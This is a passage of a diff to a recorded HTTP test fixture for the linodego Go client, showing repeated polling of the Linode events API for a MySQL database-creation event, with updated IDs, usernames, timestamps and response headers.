755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -2816,16 +3009,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:42:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -2841,7 +3037,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -2858,14 +3054,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -2880,16 +3076,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:42:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -2905,7 +3104,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -2922,14 +3121,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -2944,16 +3143,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:42:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -2969,7 +3171,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -2986,14 +3188,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3008,16 +3210,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:43:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3033,7 +3238,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3050,14 +3255,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3072,16 +3277,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:43:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3097,7 +3305,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3114,14 +3322,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3136,16 +3344,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:43:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3161,7 +3372,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3178,14 +3389,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3200,16 +3411,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:43:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3225,7 +3439,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3242,14 +3456,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3264,16 +3478,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:44:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3289,7 +3506,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3306,14 +3523,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3328,16 +3545,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:44:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3353,7 +3573,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3370,14 +3590,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3392,16 +3612,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:44:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3417,7 +3640,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3434,14 +3657,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3456,16 +3679,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:44:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3481,7 +3707,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3498,14 +3724,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3520,16 +3746,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:45:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3545,7 +3774,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3562,14 +3791,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3584,16 +3813,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:45:29 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3609,7 +3841,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3626,14 +3858,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3648,16 +3880,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:45:44 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3673,7 +3908,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3690,14 +3925,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3712,16 +3947,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:45:59 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3737,7 +3975,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3754,14 +3992,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: @@ -3776,16 +4014,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "453" + - "457" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:46:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -3801,7 +4042,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -3818,14 +4059,14 @@ interactions: User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2023-09-05T04:42:29"},"entity.id":28254,"entity.type":"database","id":{"+gte":555537944}}' + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T17:32:28"},"entity.id":133362,"entity.type":"database","id":{"+gte":755325328}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: - body: '{"data": [{"id": 555537944, "created": "2018-01-02T03:04:05", "seen": false, + body: '{"data": [{"id": 755325328, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, - "duration": null, "action": "database_create", "username": "zliang27", "entity": - {"label": "go-mysql-test-def", "id": 28254, "type": "database", "url": "/v4/databases/mysql/instances/28254"}, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-mysql-test-def", "id": 133362, "type": "database", "url": "/v4/databases/mysql/instances/133362"}, "status": "notification", "secondary_entity": null, "message": ""}], "page": 